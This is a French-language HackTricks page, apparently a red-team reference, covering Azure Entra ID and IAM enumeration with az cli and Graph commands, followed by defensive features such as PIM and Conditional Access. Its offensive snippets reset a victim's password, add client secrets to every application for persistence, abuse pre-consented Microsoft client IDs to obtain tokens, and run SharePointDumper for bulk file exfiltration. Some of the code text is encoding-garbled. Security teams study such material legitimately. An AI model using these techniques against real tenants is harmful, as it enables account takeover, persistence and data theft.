Az - Entra ID (AzureAD) & Azure IAM
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Azure Active Directory (Azure AD) sert de service cloud de Microsoft pour la gestion des identitĂ©s et des accĂšs. Il permet aux employĂ©s de se connecter et dâaccĂ©der aux ressources, tant Ă lâintĂ©rieur quâĂ lâextĂ©rieur de lâorganisation, incluant Microsoft 365, le Azure portal, et une multitude dâautres applications SaaS. La conception dâAzure AD est axĂ©e sur la fourniture de services dâidentitĂ© essentiels, comprenant notamment authentification, autorisation et gestion des utilisateurs.
Les fonctionnalitĂ©s clĂ©s dâAzure AD incluent authentification multifacteur et accĂšs conditionnel, ainsi quâune intĂ©gration transparente avec dâautres services de sĂ©curitĂ© Microsoft. Ces fonctionnalitĂ©s renforcent significativement la sĂ©curitĂ© des identitĂ©s des utilisateurs et permettent aux organisations de mettre en Ćuvre et dâappliquer efficacement leurs politiques dâaccĂšs. En tant que composant fondamental de lâĂ©cosystĂšme de services cloud de Microsoft, Azure AD est crucial pour la gestion des identitĂ©s des utilisateurs dans le cloud.
ĂnumĂ©ration
Connexion
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
##Â With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
##Â With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Lorsque vous effectuez un login via CLI sur Azure avec nâimporte quel programme, vous utilisez une Azure Application dâun tenant appartenant Ă Microsoft. Ces Applications, comme celles que vous pouvez crĂ©er dans votre compte, ont un client id. Vous ne pourrez pas toutes les voir dans les allowed applications lists visibles dans la console, mais elles sont autorisĂ©es par dĂ©faut.
Par exemple, un powershell script qui sâauthentifie utilise une app avec le client id 1950a258-227b-4e31-a9cf-717495945fc2. MĂȘme si lâapp nâapparaĂźt pas dans la console, un sysadmin pourrait bloquer cette application afin que les utilisateurs ne puissent pas accĂ©der en utilisant des outils qui se connectent via cette App.
Cependant, il existe dâautres client-ids dâapplications qui vous permettront de vous connecter Ă Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Locataires
# List tenants
az account tenant list
Utilisateurs
Pour plus dâinformations sur les utilisateurs Entra ID, consultez :
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
Changer le mot de passe dâun utilisateur
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText âForce
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password âVerbose
MFA & Conditional Access Policies
Il est fortement recommandĂ© dâajouter la MFA Ă chaque utilisateur ; cependant, certaines entreprises ne lâactivent pas ou la configurent via un Conditional Access : lâutilisateur devra utiliser la MFA si il se connecte depuis un emplacement spĂ©cifique, un navigateur ou une certaine condition. Ces politiques, si elles sont mal configurĂ©es, peuvent ĂȘtre vulnĂ©rables Ă des bypasses. VĂ©rifiez :
Az - Conditional Access Policies & MFA Bypass
Groupes
Pour plus dâinformations sur les groupes Entra ID, consultez :
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
Ajouter un utilisateur au groupe
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
Les groupes peuvent ĂȘtre dynamiques, ce qui signifie essentiellement que si un utilisateur remplit certaines conditions il sera ajoutĂ© Ă un groupe. Bien sĂ»r, si les conditions sont basĂ©es sur des attributs quâun utilisateur peut contrĂŽler, il pourrait abuser de cette fonctionnalitĂ© pour intĂ©grer dâautres groupes.
Consultez comment abuser des groupes dynamiques sur la page suivante :
Service Principals
Pour plus dâinformations sur les Entra ID service principals, consultez :
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
Le propriĂ©taire dâun Service Principal peut changer son mot de passe.
Lister et essayer d'ajouter un client secret pour chaque Enterprise App
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken âeyJ0eX..â
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applicationsâ âMethodâ = âGETâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applications/$ID/addPasswordâ âMethodâ = âPOSTâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
$Body = @{ âpasswordCredentialâ= @{ âdisplayNameâ = âPasswordâ } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName âObject IDâ -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName âApp IDâ -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName âApp Nameâ -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName âKey IDâ -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName âSecretâ -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output âFailed to add new client secret to â$($App.displayName)â Application.â } } if($Details -ne $null) { Write-Output ââ Write-Output âClient secret added to : â Write-Output $Details | fl * } } else { Write-Output âFailed to Enumerate the Applications.â } }
</details>
### Applications
Pour plus d'informations sur Applications, consultez :
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
Lorsqu'une App est générée, 3 types d'autorisations sont accordées :
- **Permissions** accordées au **Service Principal** (via roles).
- **Permissions** que l'**app** peut avoir et utiliser au **nom de l'utilisateur**.
- **API Permissions** qui donnent à l'app des permissions sur EntraID sans nécessiter que d'autres roles accordent ces permissions.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trouver toutes les permissions d'API des applications et marquer Microsoft-owned APIs (az cli)
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=âMS Graphâ }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=âAzure ADâ }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
Une application disposant de la permission
AppRoleAssignment.ReadWritepeut escalader en Global Admin en sâoctroyant elle-mĂȘme le rĂŽle.
Pour plus dâinformations check this.
Note
Une chaĂźne secrĂšte que lâapplication utilise pour prouver son identitĂ© lors de la demande dâun token est le password.
Donc, si vous trouvez ce password, vous pouvez accĂ©der en tant que service principal Ă lâintĂ©rieur du tenant.
Notez que ce password nâest visible quâau moment de sa gĂ©nĂ©ration (vous pouvez le changer mais vous ne pouvez pas le rĂ©cupĂ©rer).
Le propriĂ©taire de lâapplication peut add a password Ă celle-ci (il peut donc se faire passer pour elle).
Les connexions en tant que ces service principals ne sont pas marquĂ©es comme risquĂ©es et elles nâauront pas de MFA.
Il est possible de trouver une liste dâApp IDs couramment utilisĂ©s appartenant Ă Microsoft dans https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Managed Identities
For more information about Managed Identities check:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
RĂŽles Azure
Pour plus dâinformations sur les rĂŽles Azure, consultez :
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
RĂŽles Entra ID
Pour plus dâinformations sur les rĂŽles Azure, consultez :
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
Appareils
# If you know how to do this send a PR!
Warning
Si un appareil (VM) est AzureAD joined, les utilisateurs dâAzureAD pourront se connecter.
De plus, si lâutilisateur connectĂ© est Owner de lâappareil, il sera administrateur local.
Unités administratives
Pour plus dâinformations sur les unitĂ©s administratives, consultez :
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Des attaquants disposant dâun delegated Microsoft Graph token qui inclut Sites.Read.All ou Sites.ReadWrite.All peuvent Ă©numĂ©rer sites/drives/items via Graph puis rĂ©cupĂ©rer le contenu des fichiers via des SharePoint pre-authentication download URLs (URLs temporelles incorporant un access token). Le script SharePointDumper automatise le flux complet (Ă©numĂ©ration â pre-auth downloads) et Ă©met une tĂ©lĂ©mĂ©trie par requĂȘte pour les tests de dĂ©tection.
Obtention de delegated tokens utilisables
- SharePointDumper lui-mĂȘme ne sâauthentifie pas ; fournissez un access token (Ă©ventuellement refresh token).
- Des first-party clients prĂ©-consentis peuvent ĂȘtre abusĂ©s pour gĂ©nĂ©rer un Graph token sans enregistrer dâapp. Exemple dâinvocations
Invoke-Auth(depuis EntraTokenAid) :
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
Note
Les clients FOCI TRUE prennent en charge le refresh sur plusieurs appareils ; les clients FOCI FALSE exigent souvent
-Originpour satisfaire la validation de lâorigine de la reply URL.
Exécution de SharePointDumper pour enumeration + exfiltration
- Dump basique avec custom UA / proxy / throttling:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
- ContrÎle de la portée : inclure/exclure des sites ou extensions et plafonds globaux :
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
- Reprendre les exécutions interrompues (réénumÚre mais ignore les éléments téléchargés):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
- Rafraßchissement automatique du token sur HTTP 401 (requiert EntraTokenAid chargé):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
Notes opérationnelles :
- PrĂ©fĂšre les tokens CAE-enabled pour Ă©viter une expiration en cours dâexĂ©cution ; les tentatives de rafraĂźchissement ne sont pas enregistrĂ©es dans le journal API de lâoutil.
- GĂ©nĂšre des journaux de requĂȘtes CSV/JSON pour Graph + SharePoint et masque par dĂ©faut les tokens de tĂ©lĂ©chargement SharePoint intĂ©grĂ©s (paramĂ©trable).
- Supporte custom User-Agent, HTTP proxy, dĂ©lai par requĂȘte + jitter, et arrĂȘt sĂ»r avec Ctrl+C pour le shaping du trafic lors de tests de dĂ©tection/IR.
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Mécanismes défensifs
Privileged Identity Management (PIM)
Privileged Identity Management (PIM) dans Azure aide Ă prĂ©venir lâattribution excessive de privilĂšges aux utilisateurs inutilement.
Une des principales fonctionnalitĂ©s fournies par PIM est quâil permet de ne pas attribuer des rĂŽles Ă des principaux qui sont constamment actifs, mais de les rendre Ă©ligibles pour une pĂ©riode donnĂ©e (par ex. 6 mois). Ensuite, chaque fois que lâutilisateur veut activer ce rĂŽle, il doit en faire la demande en indiquant la durĂ©e dont il a besoin (par ex. 3 heures). Ensuite un administrateur doit approuver la demande.
Notez que lâutilisateur pourra aussi demander Ă Ă©tendre la durĂ©e.
De plus, PIM envoie des e-mails chaque fois quâun rĂŽle privilĂ©giĂ© est attribuĂ© Ă quelquâun.
.png)
Quand PIM est activé, il est possible de configurer chaque rÎle avec certaines exigences comme :
- DurĂ©e maximale (heures) dâactivation
- Exiger MFA Ă lâactivation
- Exiger le contexte dâauthentication Conditional Access
- Exiger une justification lors de lâactivation
- Exiger des informations de ticket lors de lâactivation
- Exiger une approbation pour activer
- Durée maximale avant expiration des attributions éligibles
- Beaucoup dâautres configurations sur quand et Ă qui envoyer des notifications lorsque certaines actions surviennent avec ce rĂŽle
Conditional Access Policies
Voir :
Az - Conditional Access Policies & MFA Bypass
Entra Identity Protection
Entra Identity Protection est un service de sĂ©curitĂ© qui permet de dĂ©tecter quand un utilisateur ou une connexion est trop risquĂ© pour ĂȘtre acceptĂ©, permettant de bloquer lâutilisateur ou la tentative de connexion.
Il permet Ă lâadministrateur de le configurer pour bloquer les tentatives lorsque le risque est âLow and aboveâ, âMedium and aboveâ ou âHighâ. Toutefois, par dĂ©faut il est complĂštement dĂ©sactivĂ© :
.png)
Tip
De nos jours, il est recommandĂ© dâajouter ces restrictions via des politiques Conditional Access lorsque cela est possible, oĂč il est possible de configurer les mĂȘmes options.
Entra Password Protection
Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) est une fonctionnalitĂ© de sĂ©curitĂ© qui aide Ă prĂ©venir lâabus des mots de passe faibles en verrouillant les comptes lorsquâun certain nombre de tentatives de connexion Ă©chouent.
Elle permet aussi de bloquer une liste personnalisée de mots de passe que vous fournissez.
Elle peut ĂȘtre appliquĂ©e Ă la fois au niveau cloud et sur Active Directory on-premises.
Le mode par défaut est Audit :
.png)
Références
- https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units
- SharePointDumper
- EntraTokenAid
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
